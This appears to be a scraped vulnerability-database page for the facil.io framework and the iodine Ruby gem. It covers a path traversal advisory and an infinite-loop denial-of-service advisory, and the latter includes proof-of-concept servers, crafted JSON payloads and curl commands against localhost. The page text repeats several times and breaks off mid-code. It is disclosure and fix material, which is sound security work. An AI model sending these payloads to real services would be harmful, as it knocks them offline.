- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Mar 20, 2019

0.7.26 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Mar 07, 2019

0.7.25 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
  [200, { "Content-Type" => "text/plain", "Content-Length" => "3" }, ["ok\n"]]
end

Iodine.listen service: :http,
              address: "127.0.0.1",
              port: "3000",
              handler: APP

Iodine.threads = 1
Iodine.workers = 1
Iodine.start

Run:

ruby iodine_json_parse_http_poc.rb

Then in a second terminal:

printf '[i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -X POST --data-binary @- http://127.0.0.1:3000/

On a vulnerable build, the server prints the calling Iodine::JSON.parse... line but never prints the returned from Iodine::JSON.parse line for these payloads.

Impact

This is a denial-of-service issue. An attacker who can supply JSON to an affected parser path can cause the process to spin indefinitely and consume CPU at roughly 100% of one core. In practice, the impact depends on whether an application exposes parser access to untrusted clients, but for services that do, a single crafted request can tie up a worker or thread until it is killed or restarted.

I would describe the impact as:

Availability impact: high for affected parser entry points
Confidentiality impact: none observed
Integrity impact: none observed

Suggested Patch

Treat zero-consumption numeric parses as failures before accepting the token.

diff --git a/lib/facil/fiobj/fio_json_parser.h b/lib/facil/fiobj/fio_json_parser.h
@@
       uint8_t *tmp = pos;
       long long i = fio_atol((char **)&tmp);
       if (tmp > limit)
         goto stop;
-      if (!tmp || JSON_NUMERAL[*tmp]) {
+      if (!tmp || tmp == pos || JSON_NUMERAL[*tmp]) {
         tmp = pos;
         double f = fio_atof((char **)&tmp);
         if (tmp > limit)
           goto stop;
-        if (!tmp || JSON_NUMERAL[*tmp])
+        if (!tmp || tmp == pos || JSON_NUMERAL[*tmp])
           goto error;
         fio_json_on_float(parser, f);
         pos = tmp;

This preserves permissive inf / nan handling when the float parser actually consumes input, but rejects bare i / I tokens that otherwise leave the cursor unchanged.

The same change should be mirrored to iodine's vendored copy:

ext/iodine/fio_json_parser.h

Impact

facil.io
- Verified on master commit 162df84001d66789efa883eebb0567426d00148e (git describe: 0.7.5-24-g162df840)
- Verified on tagged releases 0.7.5 and 0.7.6
iodine Ruby gem
- Verified on repo commit 5bebba698d69023cf47829afe51052f8caa6c7f8
- Verified on tag / gem version v0.7.58
- The gem vendors a copy of the vulnerable parser in ext/iodine/fio_json_parser.h

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 123 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.34


            0.7.35


            0.7.36


            0.7.37


            0.7.38


            0.7.39


            0.7.4


            0.7.40


            0.7.41


            0.7.42


            0.7.43


            0.7.44


            0.7.45


            0.7.46


            0.7.47


            0.7.48


            0.7.49


            0.7.5


            0.7.50


            0.7.51


            0.7.52


            0.7.53


            0.7.54


            0.7.55


            0.7.56


            0.7.57


            0.7.58


            0.7.6


            0.7.7


            0.7.8


            0.7.9

References

Updated Jun 08, 2026 · Source: OSV.dev

CVE-2024-22050 GHSA-85rf-xh54-whp3 Oct 07, 2019

Malicious URL drafting attack against iodines static file server may allow path traversal

7.5 / 10

High

Network Low None None Unchanged High None None

Impact

A path traversal vulnerability was detected in iodine's static file service. This vulnerability effects any application running iodine's static file server on an effected iodine version.

Malicious URL drafting may cause the static file server to attempt a response containing data from files that shouldn't be normally accessible from the public folder.

Patches

The vulnerability was patched in version 0.7.34. Please upgrade to the latest version.

Workarounds

A possible workaround would be to disable the static file service and it's X-Sendfile support, sending static files using nginx or a source code solution (sending the data dynamically).

However, it would be better to upgrade iodine to the latest version, as it also contains non-security related fixes.

For more information

If you have any questions or comments about this advisory:

Email Boaz Segev

Affected versions


          0.0.1


          0.0.2


          0.0.3


          0.0.4


          0.1.0


          0.1.1


          0.1.11


          0.1.12


          0.1.13


          0.1.14


          0.1.15


          0.1.16

+ 98 more


            0.1.17


            0.1.18


            0.1.19


            0.1.2


            0.1.20


            0.1.21


            0.1.3


            0.1.4


            0.1.5


            0.1.6


            0.1.7


            0.1.8


            0.1.9


            0.2.0


            0.2.1


            0.2.10


            0.2.11


            0.2.12


            0.2.13


            0.2.14


            0.2.15


            0.2.16


            0.2.17


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.4.0


            0.4.1


            0.4.10


            0.4.11


            0.4.12


            0.4.14


            0.4.15


            0.4.16


            0.4.17


            0.4.18


            0.4.19


            0.4.2


            0.4.3


            0.4.4


            0.4.5


            0.4.6


            0.4.7


            0.4.8


            0.5.0


            0.5.1


            0.5.2


            0.6.0


            0.6.1


            0.6.2


            0.6.3


            0.6.4


            0.6.5


            0.7.0


            0.7.1


            0.7.10


            0.7.11


            0.7.12


            0.7.13


            0.7.14


            0.7.15


            0.7.16


            0.7.17


            0.7.18


            0.7.19


            0.7.2


            0.7.20


            0.7.21


            0.7.22


            0.7.23


            0.7.24


            0.7.25


            0.7.26


            0.7.27


            0.7.28


            0.7.29


            0.7.3


            0.7.31


            0.7.32


            0.7.33


            0.7.4


            0.7.5


            0.7.6


            0.7.7


            0.7.8


            0.7.9

Fixed in


          0.7.34

References

Updated Jul 08, 2026 · Source: OSV.dev

Feb 22, 2019

0.7.24 patch

2 CVEs

CVE-2026-41146 GHSA-2x79-gwq3-vxxm Apr 14, 2026

Uncontrolled resource consumption and loop with unreachable exit condition in facil.io and downstream iodine ruby gem

High

Network Low None None

Summary

fio_json_parse can enter an infinite loop when it encounters a nested JSON value starting with i or I. The process spins in user space and pegs one CPU core at ~100% instead of returning a parse error. Because iodine vendors the same parser code, the issue also affects iodine when it parses attacker-controlled JSON.

The smallest reproducer found is [i. The quoted-value form that originally exposed the issue, [""i, reaches the same bug because the parser tolerates missing commas and then treats the trailing i as the start of another value.

Details

The vulnerable logic is in lib/facil/fiobj/fio_json_parser.h around the numeral handling block (0.7.5 / 0.7.6: lines 434-468; master: lines 434-468 in the current tree as tested).

This parser is reached from real library entry points, not just the header in isolation:

facil.io: lib/facil/fiobj/fiobj_json.c:377-387 (fiobj_json2obj) and 402-411 (fiobj_hash_update_json)
iodine: ext/iodine/iodine_json.c:161-177 (iodine_json_convert)
iodine: ext/iodine/fiobj_json.c:377-387 and 402-411

Relevant flow:

Inside an array or object, the parser sees i or I and jumps to the numeral: label.
It calls fio_atol((char **)&tmp).
For a bare i / I, fio_atol consumes zero characters and leaves tmp == pos.
The current code only falls back to float parsing when JSON_NUMERAL[*tmp] is true.
JSON_NUMERAL['i'] == 0, so the parser incorrectly accepts the value as an integer and sets pos = tmp without advancing.
Because parsing is still nested (parser->depth > 0), the outer loop continues forever with the same pos.

The same logic exists in iodine's vendored copy at ext/iodine/fio_json_parser.h lines 434-468.

Why the [""i form hangs:

The parser accepts the empty string "" as the first array element.
It does not require a comma before the next token.
The trailing i is then parsed as a new nested value.
The zero-progress numeral path above causes the infinite loop.

Examples that trigger the bug:

Array form, minimal: [i
Object form: {"a":i
After a quoted value in an array: [""i
After a quoted value in an object: {"a":""i

PoC

Environment used for verification:

facil.io commit: 162df84001d66789efa883eebb0567426d00148e
iodine commit: 5bebba698d69023cf47829afe51052f8caa6c7f8
standalone compile against fio_json_parser.h

Minimal standalone program

Use the normal HTTP stack. The following server calls http_parse_body(h), which reaches fiobj_json2obj and then fio_json_parse for Content-Type: application/json.

#define _POSIX_C_SOURCE 200809L

#include <stdio.h>
#include <time.h>
#include <fio.h>
#include <http.h>

static void on_request(http_s *h) {
  fprintf(stderr, "calling http_parse_body\n");
  fflush(stderr);
  http_parse_body(h);
  fprintf(stderr, "returned from http_parse_body\n");
  http_send_body(h, "ok\n", 3);
}

int main(void) {
  if (http_listen("3000", "127.0.0.1",
                  .on_request = on_request,
                  .max_body_size = (1024 * 1024),
                  .log = 1) == -1) {
    perror("http_listen");
    return 1;
  }
  fio_start(.threads = 1, .workers = 1);
  return 0;
}

http_parse_body(h) is the higher-level entry point and, for Content-Type: application/json, it reaches fiobj_json2obj in lib/facil/http/http.c:1947-1953.

Save it as src/main.c in a vulnerable facil.io checkout and build it with the repo makefile:

git checkout 0.7.6
mkdir -p src
make NAME=http_json_poc

Run:

./tmp/http_json_poc

Then in another terminal send one of these payloads:

printf '[i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '[""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/
printf '{"a":""i' | curl --http1.1 -H 'Content-Type: application/json' -X POST --data-binary @- http://127.0.0.1:3000/

Observed result on a vulnerable build:

The server prints calling http_parse_body and never reaches returned from http_parse_body.
The request never completes.
One worker thread spins until the process is killed.

Downstream impact in `iodine`

iodine vendors the same parser implementation in ext/iodine/fio_json_parser.h, so any iodine code path that parses attacker-controlled JSON through this parser inherits the same hang / CPU exhaustion behavior.

Single-file iodine HTTP server repro:

require "iodine"

APP = proc do |env|
  body = env["rack.input"].read.to_s
  warn "calling Iodine::JSON.parse on: #{body.inspect}"
  Iodine::JSON.parse(body)
  warn "returned from Iodine::JSON.parse"
